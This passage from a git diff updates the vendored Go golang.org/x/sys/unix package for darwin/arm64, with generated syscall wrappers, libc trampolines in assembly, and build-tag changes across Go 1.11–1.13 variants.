-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat(SB)
-+TEXT ·libc_fstatat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat(SB)
-+TEXT ·libc_fstatfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs(SB)
-+TEXT ·libc_getfsstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat(SB)
-+TEXT ·libc_lstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat(SB)
-+TEXT ·libc_stat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat(SB)
-+TEXT ·libc_statfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-similarity index 84%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-index 07c6ebc9..8c3bb3a2 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,arm64,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.1_11.go syscall_darwin_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,arm64,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1607,3 +1691,94 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
-new file mode 100644
-index 00000000..d64e6c80
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -tags darwin,arm64,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,arm64,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
-new file mode 100644
-index 00000000..b29dabb0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go arm64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-index 07c6ebc9..a8709f72 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,arm64,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,arm64,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
